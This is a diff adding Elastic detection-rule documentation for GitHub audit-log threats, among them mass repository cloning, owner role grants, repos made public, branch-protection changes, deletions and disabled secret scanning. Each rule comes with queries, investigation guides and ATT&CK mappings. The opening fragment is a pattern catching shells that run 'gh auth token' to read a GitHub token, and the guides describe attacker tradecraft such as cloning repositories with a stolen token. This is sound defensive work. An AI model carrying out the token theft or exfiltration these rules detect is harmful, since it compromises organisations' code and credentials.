("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "gh auth token" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc new file mode 100644 index 0000000000..de9bd06326 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-github-exfiltration-via-high-number-of-repository-clones-by-user]] +=== GitHub Exfiltration via High Number of Repository Clones by User + +Detects a high number of repository cloning actions by a single user within a short time frame. Adversaries may clone multiple repositories to exfiltrate sensitive data. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: ES|QL +* Platform: GitHub +* Domain: SaaS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Exfiltration via High Number of Repository Clones by User* + + +This rule flags a single user rapidly cloning dozens of repositories, a strong indicator of bulk source code exfiltration. Mass cloning enables quick siphoning of proprietary code, embedded secrets, and build artifacts across teams before defenses can respond. A typical pattern is a stolen personal access token used in a script to enumerate org repositories and clone them in rapid succession from a CI runner or cloud VM, including private and internal repos, to stage data for off-platform transfer. + + +*Possible investigation steps* + + +- Validate whether the actor is a known automation or service account with a documented need to mass-clone, and quickly confirm intent with the account owner and affected repo admins. +- Enumerate the cloned repositories and their visibility, deprioritizing activity dominated by public repos while fast-tracking private/internal codebases with sensitive content across orgs. +- Pivot on the token identifier to determine the token owner, scopes, and creation/last-use details, compare to normal usage patterns, and revoke/reset credentials if anomalous. +- Analyze the user agent and agent identifier to attribute the activity to a specific host or CI runner, correlating with pipeline logs and login locations/times for anomalies. +- Correlate with endpoint/network telemetry from the originating host for large outbound transfers, external Git remotes, or bulk archiving indicating off-platform exfiltration following the clones. + + +*False positive analysis* + + +- A developer rebuilding a workstation or creating an approved local mirror may legitimately clone dozens of repositories in a short window, especially when activity is dominated by public or low-sensitivity repos. +- A shared automation/service account running scheduled builds or org-wide maintenance tasks can trigger fresh clones across many repositories due to pipeline configuration or cache resets, inflating counts without exfiltration intent. + + +*Response and remediation* + + +- Immediately revoke the GitHub token used for the clones, force sign out, require password reset and 2FA re-verification for the user, and suspend the account if unauthorized. +- Block and quarantine the originating host or CI runner by revoking its runner registration, removing its SSH keys/credentials, and firewalling its IP until imaged. +- On the cloned private/internal repositories, remove the user from teams, rotate or disable deploy keys and GitHub App installations, and enforce SAML SSO. +- Rotate repository and organization secrets present in those repos (Actions secrets, PATs, SSH keys, cloud access keys) and invalidate any secrets found in commit history. +- Recover by restoring only minimal access after owner approval, issuing a new fine-grained PAT with least privilege and expiry, and re-enabling builds while monitoring for further clone bursts. +- Escalate to incident response leadership and Legal if any private or export-controlled repos were cloned or cloning continues post-revocation, and harden by enforcing org-wide SSO, disallowing classic PATs, IP allowlisting for PAT use, enabling secret scanning with push protection, and alerting on burst git clone patterns from runners and unusual user agents. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and event.type == "change" and event.action == "git.clone" +| stats + Esql.event_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_repository_public_values = values(github.repository_public), + Esql.github_token_id_values = values(github.token_id), + Esql.github_user_agent_values = values(github.user_agent), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.event_count >= 25 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-owner-role-granted-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-owner-role-granted-to-user.asciidoc new file mode 100644 index 0000000000..ccb498efa5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-owner-role-granted-to-user.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-github-owner-role-granted-to-user]] +=== GitHub Owner Role Granted To User + +This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Persistence +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Owner Role Granted To User* + + +In GitHub organizations, the owner role grants comprehensive administrative privileges, enabling full control over repositories, settings, and data. Adversaries may exploit this by elevating privileges to maintain persistence or exfiltrate data. The detection rule monitors audit logs for changes in member roles to 'admin', signaling potential unauthorized access or privilege escalation attempts, thus aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event where the member's role was changed to 'admin' to identify the user who made the change and the user who received the new role. +- Verify the legitimacy of the role change by contacting the user who was granted the owner role and the user who performed the action to confirm if the change was authorized. +- Check the organization's recent activity logs for any unusual or suspicious actions performed by the user who was granted the owner role, such as changes to repository settings or data access. +- Investigate any recent changes in the organization's membership or permissions that could indicate a broader compromise or unauthorized access. +- Assess the potential impact of the role change by identifying sensitive repositories or data that the new owner role could access, and determine if any data exfiltration or unauthorized changes have occurred. + + +*False positive analysis* + + +- Role changes due to organizational restructuring or legitimate promotions can trigger alerts. Regularly update the list of expected role changes to minimize unnecessary alerts. +- Automated scripts or integrations that manage user roles might inadvertently trigger the rule. Identify and whitelist these scripts to prevent false positives. +- Temporary role assignments for project-specific tasks can be mistaken for unauthorized access. Implement a process to document and pre-approve such temporary changes. +- Changes made by trusted administrators during routine audits or maintenance may be flagged. Maintain a log of scheduled maintenance activities to cross-reference with alerts. +- Onboarding processes that involve granting admin roles to new employees can generate alerts. Ensure that onboarding procedures are documented and known exceptions are configured in the detection system. + + +*Response and remediation* + + +- Immediately revoke the owner role from the user account identified in the alert to prevent further unauthorized access or changes. +- Conduct a thorough review of recent activities performed by the user with the elevated privileges to identify any unauthorized changes or data access. +- Reset the credentials and enforce multi-factor authentication for the affected user account to secure it against further compromise. +- Notify the security team and relevant stakeholders about the potential breach and involve them in the investigation and remediation process. +- Review and update access control policies to ensure that owner roles are granted only through a formal approval process and are regularly audited. +- Implement additional monitoring and alerting for changes to high-privilege roles within the organization to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "github.audit" and event.action == "org.update_member" and github.permission == "admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-private-repository-turned-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-private-repository-turned-public.asciidoc new file mode 100644 index 0000000000..7f7acc731e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-private-repository-turned-public.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-github-private-repository-turned-public]] +=== GitHub Private Repository Turned Public + +Detects when a private GitHub repository is changed to public visibility. Adversaries may change repository visibility to public in order to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Impact +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Private Repository Turned Public* + + +This rule flags when a previously private repository is made public, a high-risk change that can expose proprietary code, credentials, and internal documentation. Attackers who hijack a maintainer’s account often flip visibility via the UI or API, then immediately fork or mirror the repo to an external account to retain access and harvest embedded secrets even if the org reverts the change. + + +*Possible investigation steps* + + +- Identify the actor and authentication method used for the visibility change, verify their repository role, and confirm the action against an approved change request or ticket. +- Pull a time-bounded audit trail around the event for the actor and repository to surface related risky operations such as forking, transfers, collaborator additions, webhook edits, branch protection changes, or archive downloads. +- Enumerate forks, mirrors, stars, and watchers added after the change via the repository network graph and correlate with external accounts or suspicious clusters. +- Inspect GitHub Actions runs, deployments, and webhooks triggered post-change for workflows that export code or secrets to external destinations. +- Perform rapid secret scanning across the repository history and HEAD, triage any exposed credentials, and initiate rotation while mapping impacted services and environments. + + +*False positive analysis* + + +- A planned, approved open-source release where a maintainer intentionally flips a sanitized repository from private to public as part of a documented change. +- Bulk visibility changes during an organization-wide cleanup or migration that publishes templates, sample repos, or empty scaffolds, executed by an authorized service account. + + +*Response and remediation* + + +- Immediately revert the repository to private, remove outside collaborators, lock access to the core maintainers team, disable GitHub Actions and webhooks, and delete any release assets or packages published during the exposure window. +- Enumerate new forks, mirrors, stars, and watchers created after the visibility change and file takedown requests with GitHub Trust & Safety for unauthorized public copies while removing any deploy keys and uninstalling suspicious GitHub App installations added around the event. +- Run a rapid secret scan across the repository history and HEAD, rotate exposed credentials (cloud keys, API tokens, SSH keys), invalidate compromised service accounts, and purge cached artifacts or container images built from the public commit range. +- Restore secure settings from baseline by re-applying branch protection rules, CODEOWNERS, required reviews, signed commits, and protected environments, then re-enable workflows only after reviewing job steps and outputs for any export of code or secrets. +- Escalate to Security IR and Legal if the actor denies making the change, the repo network graph shows new public forks under unknown accounts, regulated data is present, or external users downloaded source zips or release archives during the public period. +- Restrict who can change repository visibility to organization owners, enforce SSO and 2FA for maintainers, disable forking of private repositories, limit Actions to trusted runners and verified actions, and enable secret scanning with push protection across the organization. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and github.operation_type == "modify" and github.category == "repo" and +event.action == "repo.access" and github.visibility == "public" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-protected-branch-settings-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-protected-branch-settings-changed.asciidoc new file mode 100644 index 0000000000..56af0ed5e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-protected-branch-settings-changed.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-github-protected-branch-settings-changed]] +=== GitHub Protected Branch Settings Changed + +This rule detects setting modifications for protected branches of a GitHub repository. Branch protection rules can be used to enforce certain workflows or requirements before a contributor can push changes to a branch in your repository. Changes to these protected branch settings should be investigated and verified as legitimate activity. Unauthorized changes could be used to lower your organization's security posture and leave you exposed for future attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Protected Branch Settings Changed* + + +GitHub's protected branch settings are crucial for maintaining code integrity by enforcing rules like requiring reviews before merging. Adversaries may alter these settings to bypass security measures, facilitating unauthorized code changes. The detection rule monitors audit logs for changes in branch protection, flagging potential defense evasion attempts for further investigation. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to identify the specific changes made to the protected branch settings, focusing on entries where event.dataset is "github.audit" and github.category is "protected_branch". +- Determine the user account responsible for the changes by examining the audit log details, and verify if the account has a legitimate reason to modify branch protection settings. +- Check the timing of the changes to see if they coincide with any other suspicious activities or known incidents within the organization. +- Investigate the context of the change by reviewing recent pull requests or commits to the affected branch to assess if the changes align with ongoing development activities. +- Communicate with the repository owner or relevant team members to confirm if the changes were authorized and necessary for current project requirements. +- Evaluate the impact of the changes on the repository's security posture and consider reverting the changes if they were unauthorized or pose a security risk. + + +*False positive analysis* + + +- Routine updates by trusted team members may trigger alerts. To manage this, create exceptions for specific users or teams who regularly update branch protection settings as part of their role. +- Automated tools or scripts that modify branch settings for legitimate reasons can cause false positives. Identify these tools and whitelist their activities in the monitoring system. +- Scheduled maintenance or policy updates might lead to expected changes in branch protection settings. Document these events and adjust the detection rule to ignore changes during these periods. +- Changes made by administrators during onboarding or offboarding processes can be mistaken for unauthorized activity. Ensure these processes are well-documented and communicated to the security team to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revert any unauthorized changes to the protected branch settings to restore the original security posture. +- Conduct a review of recent commits and merges to the affected branch to identify any unauthorized code changes that may have occurred during the period of altered settings. +- Temporarily restrict access to the repository for users who made unauthorized changes until a full investigation is completed. +- Notify the security team and relevant stakeholders about the incident for further analysis and to determine if additional security measures are needed. +- Implement additional monitoring on the affected repository to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for the repository to ensure that only authorized personnel can modify branch protection settings. +- Document the incident, including the timeline of events and actions taken, to improve future response efforts and update incident response plans. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" + and github.category == "protected_branch" and event.type == "change" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-repository-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-repository-deleted.asciidoc new file mode 100644 index 0000000000..bab49cb50b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-repository-deleted.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-34-github-repository-deleted]] +=== GitHub Repository Deleted + +This rule detects when a GitHub repository is deleted within your organization. Repositories are a critical component used within an organization to manage work, collaborate with others and release products to the public. Any delete action against a repository should be investigated to determine it's validity. Unauthorized deletion of organization repositories could cause irreversible loss of intellectual property and indicate compromise within your organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Impact +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Repository Deleted* + +GitHub repositories are essential for managing code and collaboration within organizations. Adversaries may exploit this by deleting repositories to disrupt operations or erase critical data, potentially indicating a security breach. The detection rule monitors GitHub audit logs for repository deletion events, enabling analysts to swiftly identify and investigate unauthorized actions, thereby mitigating potential data loss and compromise. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to confirm the repository deletion event by checking for entries where event.module is "github", event.dataset is "github.audit", and event.action is "repo.destroy". +- Identify the user account associated with the deletion event and verify their access permissions and recent activity to determine if the action was authorized. +- Contact the user or team responsible for the repository to confirm whether the deletion was intentional and documented. +- Check for any recent changes in user access or permissions that could indicate a compromised account or unauthorized access. +- Investigate any other suspicious activities or alerts related to the same user or repository around the time of the deletion event to identify potential patterns of malicious behavior. +- Assess the impact of the repository deletion on ongoing projects and data availability, and initiate recovery procedures if necessary. + + +*False positive analysis* + + +- Routine repository clean-up activities by authorized personnel may trigger alerts. To manage this, maintain a list of users or teams responsible for such tasks and create exceptions for their actions. +- Automated scripts or tools used for repository management might delete repositories as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags. +- Test or temporary repositories that are frequently created and deleted during development cycles can cause false positives. Implement naming conventions for these repositories and configure the rule to ignore deletions matching these patterns. +- Scheduled repository deletions as part of a lifecycle management policy can be mistaken for unauthorized actions. Document these schedules and adjust the detection rule to accommodate these planned activities. + + +*Response and remediation* + + +- Immediately revoke access for any user account associated with the unauthorized repository deletion to prevent further malicious actions. +- Restore the deleted repository from backups or snapshots, if available, to recover lost data and minimize operational disruption. +- Conduct a thorough review of recent access logs and user activities to identify any other suspicious actions or potential indicators of compromise. +- Notify the security team and relevant stakeholders about the incident to ensure coordinated response efforts and awareness. +- Implement additional access controls, such as multi-factor authentication and role-based access, to prevent unauthorized deletions in the future. +- Escalate the incident to higher management and legal teams if intellectual property theft or significant data loss is suspected. +- Enhance monitoring and alerting mechanisms to detect similar unauthorized actions promptly, leveraging the MITRE ATT&CK framework for guidance on potential threat vectors. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where event.module == "github" and data_stream.dataset == "github.audit" and event.action == "repo.destroy" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-secret-scanning-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-secret-scanning-disabled.asciidoc new file mode 100644 index 0000000000..c4e677a7ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-secret-scanning-disabled.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-github-secret-scanning-disabled]] +=== GitHub Secret Scanning Disabled + +Detects when GitHub Secret Scanning is disabled for a repository. Adversaries may disable secret scanning to evade detection of hardcoded secrets, such as API keys or credentials, that could be used for further compromise or data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Secret Scanning Disabled* + + +This rule triggers when secret scanning is disabled on a repository, signaling an attempt to hide exposed tokens, keys, or passwords that can enable lateral movement, persistence, and data exfiltration. An attacker who gains admin or bot access may disable scanning, push a commit embedding plaintext credentials, and modify a workflow to export them via CI jobs, then use those secrets to authenticate to external services or cloud accounts and expand control. + + +*Possible investigation steps* + + +- Identify the actor (user, bot, or GitHub App), their auth method and source IP, confirm admin privileges, and validate whether the change was planned and approved. +- Immediately re-enable Secret Scanning and Push Protection on the repository and, if possible, enforce them via an organization policy, recording change control and justification. +- Review commits, pull requests, and workflow file changes near the disable timestamp to detect added plaintext credentials, secret files, or code paths that read or export secrets. +- Examine recent GitHub Actions runs, artifacts, and logs for secrets printed, unusual network egress, or jobs using elevated token scopes, and check for newly added or modified repo/org secrets. +- Correlate IdP, cloud, and third-party service logs for authentication or API activity shortly after the disable event, revoking and rotating any credentials suspected to be exposed. + + +*False positive analysis* + + +- A repository admin temporarily disables Secret Scanning during a planned maintenance or configuration test to address noisy detections or performance issues, then re-enables it, generating a benign disable event. +- Organization-managed templates or automation enforce a settings baseline that disables Secret Scanning for non-code or ephemeral repos (e.g., mirrors, docs, or test sandboxes), causing the event as part of expected governance. + + +*Response and remediation* + + +- Immediately re-enable Secret Scanning and Push Protection on the affected repository, lock the default branch with "Require pull request reviews" and "Restrict who can push," and temporarily pause GitHub Actions workflows that access repo or org secrets. +- Revert or rewrite commits made while scanning was disabled to remove credentials from files like .env, config.yml, and .github/workflows/*.yml, and delete build artifacts and caches that may contain sensitive values. +- Revoke and rotate exposed credentials by disabling compromised PATs, rotating cloud API keys and service tokens, and updating organization and repository secrets in Settings > Secrets and variables. +- Validate recovery by confirming Secret Scanning and Push Protection are enabled in repository settings, re-running a full secret scan across HEAD, tags, and protected branches, and restoring merges and deployments only after clean results. +- Escalate to incident response if the actor is unknown or unauthorized, if plaintext secrets appear in commits or workflow logs, or if external authentications use repo-linked credentials within 24 hours of the disable event. +- Harden by enforcing org-wide policies requiring Secret Scanning and Push Protection for all repositories, adding repository rulesets to require status checks and pull request reviews before merging, and limiting Actions token permissions with protected environments and branch protections. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and event.type == "change" and event.action == "repository_secret_scanning.disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-ueba-multiple-alerts-from-a-github-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-ueba-multiple-alerts-from-a-github-account.asciidoc new file mode 100644 index 0000000000..b00c906282 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-ueba-multiple-alerts-from-a-github-account.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-34-github-ueba-multiple-alerts-from-a-github-account]] +=== GitHub UEBA - Multiple Alerts from a GitHub Account + +This rule is part of the "GitHub UEBA - Unusual Activity from Account Pack", and leverages alert data to determine when multiple alerts are executed by the same user in a timespan of one hour. Analysts can use this to prioritize triage and response, as these alerts are a higher indicator of compromised user accounts or PATs. + +*Rule type*: threshold + +*Rule indices*: + +* .alerts-security.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Execution +* Rule Type: Higher-Order Rule +* Data Source: Github +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Threshold +* Platform: GitHub +* Domain: SaaS + +*Version*: 103 + +*Rule authors*: + 